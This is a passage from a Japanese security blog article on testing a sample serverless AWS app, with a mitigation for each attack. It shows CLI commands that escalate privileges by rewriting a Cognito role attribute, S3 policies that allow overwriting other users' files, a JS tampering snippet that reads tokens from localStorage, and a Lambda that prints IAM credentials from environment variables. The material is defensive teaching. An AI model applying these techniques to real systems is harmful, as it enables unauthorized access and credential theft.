本来はここまでわかりやすくエラーメッセージが出ることは少ないですし、すんなりと特権昇格により管理者や FullAccess の特権を有した鍵になることも少ないです。しかし、アプリクライアントの属性に対するアクセス制御の設定に不備がある場合は次のような操作を行い、Cognito に保存されている属性を書き換えることによりアクセス制御のバイパスができてしまう可能性があります。

# 事前に取得したAccess トークンを用いて属性の変更を行う
aws cognito-idp update-user-attributes \
  --user-attributes Name="custom:role",Value="admin"\
  --access-token "eyJ..."
# 再度トークンを取得
aws cognito-idp initiate-auth \
  --client-id xxxxxxxxxxxxxxxxxxxxxxxxxx \
  --auth-flow "USER_PASSWORD_AUTH" \
  --auth-parameters '{"USERNAME":"a***@f***.com","PASSWORD":"Passwordx_1"}'

# トークンが取得できる
{
  "AuthenticationResult": {
    "AccessToken": "eyJ....",
    "ExpiresIn": 3600,
    "IdToken": "eyJ.....",
    "RefreshToken": "eyJ....",
    "TokenType": "Bearer"
  },
  "ChallengeParameters": {}
}

# エンドポイントにアクセス
curl -i -s -k -XGET \
-H 'Authorization: eyJ...' 'https://xxxxxxxxx*.execute-api.ap-northeast-1.amazonaws.com/dev/admin/'

HTTP/2 200
date: xxx, xx Oct 2020 xx:xx:xx GMT
content-type: application/json
content-length: 28
x-amzn-requestid: 86d6c71f-xxxx-xxxx-xxxx-xxxxxxxxxx
x-amz-apigw-id: xxxxxxxx
x-amzn-trace-id: Root=1-5f8eccfc-xxxxxxx

{"message": "Admin! Admin!"}

このような攻撃を防ぐためには、まず始めに行うべきこととして、アプリクライアントの閲覧書き換えに関する権限を絞ることが挙げられます。ここが適切に行われれば本記事を公開した時点では書き換えを防ぐことができます。

4.3.2. Cognito ID Pool と IAM

昨今のアプリケーションでは Cognito ID Pool を用いて IAM を取得し直接 AWS のサービスからデータを取得することが想定されています。例えば AWS においても mBaaS として Cognito、S3、 DynamoDB、Lambda などの各種サービスを組み合わせて利用できる Amplify というものがありますし、このようなフレームワークを利用しなくとも JavaScriptSDK やモバイルアプリ向けの SDK を利用し直接呼び出すこともできます。

しかし Cognito ID Pool に設定している IAM Role のポリシーにおいて適切な設定やリソースの指定がなされていない場合、前述の環境は大変危険な状態になります。この章ではその点について解説をしていきます。

4.3.2.1. S3 バケットとリソースへのアクセス制御

先述の調査の際にも S3 に関して触れましたがもう一度このサンプルアプリの S3 について触れていきます。

本記事のサンプルアプリでは、Cognito ID Pool から Credential を取得し、S3 バケットのtmp.sample.app.bucketに icon 画像や tsubuyaki の添付画像を一時的にアップロードします。

その際、S3 バケットへは下記のような構造でファイルをアップロードしています。

/
⎿ icon/
    ⎿ <user_id>/
       ⎿ icon.(png|jpg|jpeg)
⎿ tsubuyaki/
    ⎿ <user_id>/
        ⎿ <randomstring>/
            ⎿ <filename>.(png|jpg|jpeg)

また アップロードされたファイルがicon/にアップロードされた場合、下記の設定により、アイコン画像のファイル形式のチェックなどを行った後に、静的ファイルを配信するためにstatic.sample.app.bucket/<user_id>/*へ移動が行われます。tsubuyaki/にアップロードしたファイルは、一時的に tsubuyaki に格納された後に、tsubuyaki 用の API として設定された Lambda 関数を介してファイルを移動させます。

ではここからはサンプルアプリを参考に取得した IAM と S3 のアクセス制御について触れていきます。

ここで皆様に質問です。サンプルアプリの Cognito ID Pool から発行された鍵に次のようなポリシーが割り当てられてられていた場合、どのような攻撃が考えられるでしょうか?

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:PutObject"],
      "Resource": "*"
    }
  ]
}

筆者としては 2 つの攻撃ができると想定しています。1 つ目は他の S3 バケットへの完全性の侵害、2 つ目は他のユーザーがアップロードしたファイルの書き換えです。

まず始めに S3 バケットへの完全性の侵害について見ていきましょう。

このポリシーを見る限りResourceの値が*になっているため、サンプルアプリで定義されている S3 バケット以外にも書き込みが可能な状態になっていることがわかります。今回のサンプルアプリの構成上、ユーザーから確認できる S3 バケット名はtmp.sample.app.bucketのみになるので、簡単には他の S3 バケット名を探し当ててアクセスすることは難しいとは思いますが、この状態では万が一、他の S3 バケット名が取得できた場合、運営者が意図しないファイルの上書きや改竄などができてしまう恐れがあります。

例えば、何らかの経路でstatic.sample.app.bucketという S3 バケットがあると攻撃者が確認できた場合、その S3 バケットから HTML ファイルや JS ファイルを配信していると攻撃者が推測し、正規の JS ファイルに細工を施し Put をすることで、ローカルストレージ内のトークンや id などを取得するなどの攻撃ルートを生み出してしまう恐れがあります。

このような被害を防ぐために、発行した鍵の有効範囲を適切に設定して他の S3 バケットへ被害が及ぶことを防ぐ方法として、Resource を利用する S3 バケットのみに指定することが大切です。

上記の攻撃を防ぐために Resource の値をarn:aws:s3:::tmp.sample.app.bucket/*に変更しました。しかし 2 つ目の攻撃についてまだ対策が施されていません。

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:PutObject"],
      "Resource": "arn:aws:s3:::tmp.sample.app.bucket/*" // Resourceをtmp.sample.app.bucketに制限
    }
  ]
}

どのような対策をすれば S3 におけるアクセス制御を施すことができるのでしょうか?

AWS の提供するドキュメント内ではCognito ID Pool のアクセスポリシーに関する項目があります。このドキュメントを基に IAM ポリシーの resource を変更するとcognito-identity.amazonaws.com:sub変数を用いることにより一部サービスのアクセス制御に利用することができます。

ユーザーのアクセスをパーティション化する場合、ポリシー変数によってこれを行うことができます。

ただし、注意点も記載されている通り、アクセス制御にcognito-identity.amazonaws.com:subを含める場合、その ID 自体が変更される可能性があるため、その点を留意しなければいけません。採用する場合は検証を行ってから利用してください。

では今回のサンプルアプリの場合はどのような箇所に利用できるか見てみましょう。

ロジック上、最も問題がある箇所として、iconをアップロードした際の Lambda 関数の処理が挙げられます。今回の場合/icon/<user_id>/icon.(png|jpg|jpeg)という Path で S3 バケットにアイコンが格納されています。そのため、他人のuser_idが判明すれば、そのuser_idをプレフィックスに当てはめアップロードすることにより、そのユーザーの icon を強制的に変更することができてしまいます。

このような意図しない変更を防ぐためにtmp.sample.app.bucket/icon/${cognito-identity.amazonaws.com:sub}/*のようにリソースを指定することにより第三者からの icon 変更を防ぐことができます。

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:PutObject"],
      "Resource": [
        "arn:aws:s3:::tmp.sample.app.bucket/icon/${cognito-identity.amazonaws.com:sub}/*",
        "arn:aws:s3:::tmp.sample.app.bucket/tsubuyaki/${cognito-identity.amazonaws.com:sub}/*"
      ]
    }
  ]
}

ここまでが、S3 バケットとリソースへのアクセス制御についての攻撃/検証手法と、その攻撃への対策になります。

余談 1. DynamoDB の FGAC

今回のサンプルアプリでは採用していませんが、DynamoDB への直接的なアクセスも一考される実装ではあると思います。

ここでは DynamoDB で利用可能なアクセス制御手法である FGAC(Fine-Grained Access Control)について紹介します。

DynamoDB では Cognito ID Pool に付与された IAM Role を基に、ユーザー毎にテーブルの Item へのアクセス権限を設定することが可能になります。

本記事では詳しくは話しませんが、このような考え方もあるということを認識していただけると嬉しいです。

AWS 公式ブログ Fine-Grained Access Control for Amazon DynamoDB 2013 年 10 月 31 日

aws.amazon.com

AWS Black Belt Online Seminar 実践的 Serverless セキュリティプラクティス

www.slideshare.net

余談 2. Cognito ID Pool から発行された ID について

Cognito ID Pool から get-id で取得した ID はそのユーザーに紐づいており、ID と異なるユーザーの ID トークンを用いても鍵を取得することはできない仕組みになっています。執筆時点では異なるユーザーがこの ID を利用する方法は確認できていません。

# User 1
aws cognito-identity get-credentials-for-identity \
  --identity-id ap-northeast-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\
  --logins '{"cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_xxxxxxxxx":"eyJ.<user_1>..."}' --no-sign-request
# User 2
aws cognito-identity get-credentials-for-identity \
  --identity-id ap-northeast-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\
  --logins '{"cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_xxxxxxxxx":"eyJ.<user_2>..."}' --no-sign-request

4.3.3. S3

AWS で多く利用される S3 ですが、今回のサンプルアプリでも一時的なファイル置き場として利用している他、HTML や JS などの静的ファイルをホストするために利用しています。今回は利用していませんが S3 に AWS Transfer Family を挟むことにより、SFTP などのの代替策として、または、CodePipline などのファイル置き場として利用することも可能です。

この項では、S3 の基本的な設定ミスとその調査方法、そして起こりうる攻撃について触れていきたいと思います。なお、S3 の基礎的な部分に関しては記述しませんのでドキュメントなどを参照していただければと思います。

まず始めにオブジェクトの閲覧やリスト表示関連の設定ミスについてです。本記事の執筆時点(2020 年 11 月上旬)でこのような設定ミスを犯してしまっている場合、意図的に行っている場合が多くあります。

例えば、S3 バケットの ACL でパブリックの閲覧を許可する場合下記のように注意が表示され、さらには下部にもう一度警告が表示されるため、多くの場合はドキュメントや同僚などへの確認をしてからを押すことになるでしょう。

※ S3 バケットの ACL 設定画面

※ S3 バケットの ACL の警告

オブジェクトのアクセス制御に関しても、オブジェクトそのものの ACL を public にして書き込みを行わない限り、オブジェクトそのものの閲覧をすることはできません。このオブジェクトの ACL を適切に設定していれば機密情報やサービス上で守るべき情報は漏洩しにくくなります。

次にオブジェクトの書き換えについてです。

先述の通り S3 バケットは多くの役割を果たすための機能拡張ができるようになっています。そのため、S3 バケット内のオブジェクトの書き換えが及ぼす被害というのは大きくなると考えます。この被害を引き起こす攻撃の一例として HTML ファイルや JS ファイルなどの配信されているファイルの書き換えによって発生する攻撃について触れていきたいと思います。

オブジェクトが書き換え可能な状態であるとどのような危険があるかに関しては先ほども触れましたが、書き換えによりブラウザ上で任意のスクリプトが実行できてしまいます。他にも今回のサンプルアプリのような構成であれば、スクリプトを介しローカルストレージへのアクセスができてしまうため、ローカルストレージに格納されていたトークンや cognito id などのユーザーにとって大切な情報が抜き出されてしまう恐れがあります。

試しに今回事前に取得していた JS ファイルを解析し、クレデンシャルを取得した後に任意の JavaScript を実行させてみます。下記のような改変を加えて S3 にアップロードし上書きを行います。

※1 必ず自分の用意した環境で試してください

※2 実際のサービスへは管理者の許可なく行わないでください

// js-beautify index.js > out.js
// cat dist.js |grep -i -n credential #のような形で大まかな目星をつける(VS Codeでも可)
//~~~snip~~~
                  }, {
                    key: "getCredentials",
                    value: function() {
                        var t = this,
                            e = this.userPool.getCurrentUser();
                        return new Promise((function(s, n) {
                            null === e && n(e), console.log(g["config"].credentials), null === e || void 0 === e || e.getSession((function(e, a) {
                                if (e) n(e);
                                else {
                                    var r = t.buildCognitoCreds(a);
                                    // localstrageに格納されているものを取得する(今回の場合はrefresh トークン)
                                    alert(window.localStorage.key(3)+":"+window.localStorage.getItem(window.localStorage.key(3)));
                                    g["config"].credentials = r, s(r)
                                }
                            }))
                        }))
                    }
                  }, {
//~~~snip~~~

この改変を行った後に該当のページにアクセスし機能を利用すると次のようなアラートが画面に表示されます。

このように、任意のスクリプトが実行できました。実際の攻撃ケースとしては、この任意のスクリプトの部分に BeEF のようなツールを利用して生成されたスクリプトを埋め込むなどし、制御下におくことも考えられます。

このような攻撃を防ぐために、オブジェクトはもちろん IAM などに関しても適切に S3 のアクセス管理を行い、上書き防止機能を利用するなどし対策をすることが必要です。

ここまでがサンプルアプリをもとにした S3 への攻撃手法です。

他にも S3 のイベント通知により駆動した Lambda に対しての攻撃手法などもありますが、それは次のセクションで触れたいと思います。

4.3.4. Lambda への攻撃

AWS でサーバーレスなアプリケーションを作る場合、多くの場面で利用するのが Lambda です。Lambda は簡単なコードを書くだけであらゆるサービスと合わせて動作させることができるため、サービスの展開速度を重視するような場面や AWS のイベント通知駆動で各種操作が必要な場面で利用されるケースが多いでしょう。

サーバーレス以外のアプリケーションでもそうですが、記述したコードに脆弱性があった場合は攻撃対象になってしまいます。診断においては API Gateway を利用した API の実行関数として Lambda を利用した場合、通常の Web アプリケーションに対するエンドポイントベースでの脆弱性診断を行うだけでいいのですが、例えばサンプルアプリのように S3 のイベント通知により駆動する Lambda などに関しては別途連絡などがないと見落としてしまう場合があります。もちろん Lambda と連携するのは S3 だけではありません。Cognito や Kinesis のように同期/非同期を問わず多くの場面で Lambda の呼び出しが活用されています。

サンプルアプリ内では Lambda 上に脆弱性を埋め込んでいませんが、Lambda は多くのサーバーレスアプリケーションの基幹となる機能を担う場面が往々にして存在するため、本稿ではそのセキュリティ対策について以下で簡単に説明します。

では Lambda に付与された IAM Role のクレデンシャルがどのように格納されているかについて確認しましょう。

Lambda に IAM Role を付与すると EC2 同様 クレデンシャルがその実行環境からアクセスできる状態で格納されます。EC2 では IMDS に格納されますが、Lambda では環境変数に格納されます。

確認のために次のようなコードを用意してみます。この際に作成する Lambda 関数には IAM Role を付与しておきましょう。テストで適当なテストケースを設定し実行します。

import subprocess
from subprocess import PIPE

def lambda_handler(event, context):
    proc = subprocess.run("env", shell=True, stdout=PIPE, stderr=PIPE, text=True)
    env = proc.stdout
    print(env)

その結果を見ると次のように、先ほど説明したクレデンシャルを含んだ環境変数が表示されます。

AWS_LAMBDA_FUNCTION_VERSION=$LATEST
AWS_SESSION_TOKEN=IQoJb3J......9KoHzfFV
~~snip~~
AWS_SECRET_ACCESS_KEY=fsJ******************************y2w5ex
~~snip~~
AWS_ACCESS_KEY_ID=ASIA************HBYH
~~snip~~

このように環境変数にクレデンシャルが格納されていることがわかります。

環境変数を用いた格納方法からもわかるように、その格納場所にアクセスできてしまった場合、クレデンシャルが漏洩してしまう恐れがあります。環境変数を用いた格納方法では OS Command Injection や Server Side Template Injection のような脆弱性を利用し環境変数を取り出すことができてしまいます。

これらの脆弱性を作り込まないためにも SAST な脆弱性を発見することが重要です。下記に載せた SAST に関する一覧を掲載しているので是非参照してください。

owasp.org


5. おわりに

本記事では、クラウドのセキュリティに関する基礎的な概要をもとに、サンプルアプリをもとにした AWS におけるサーバーレス環境への診断や課題点について触れました。

近年 mBaaS がサービスに採用されるケースを多々見るようになりました。AWS であれば AWS Mobile Hub もしくは Amplify を用いて容易に AWS 上にサービスの基盤を構築でき、よりスピーディーで本来のビジネスに関わる開発に注力できるようになりました。いまだに考えなければならないセキュリティ上の課題や懸念というものが多く存在するということを皆さんに認識していただければと思っています。

これら課題点が本記事を通してクラウドサービスを利用する皆様に広がり、安全で安心なサービス構築の一助になれば筆者としては嬉しい限りです。

では、ここまでお読みいただきありがとうございました。

Amazon Web Services の商標について

Amazon Web Services、『Powered by Amazon Web Services』ロゴ、Amazon DynamoDB、Amazon EC2、Amazon S3、Amazon Cognito、Amazon Simple Email Servise、Amazon CloudFront、Amazon API Gateway、AWS Lambda、AWS Identity and Access Management は米国および/またはその他の諸国における、Amazon.com, Inc. またはその関連会社の商標です。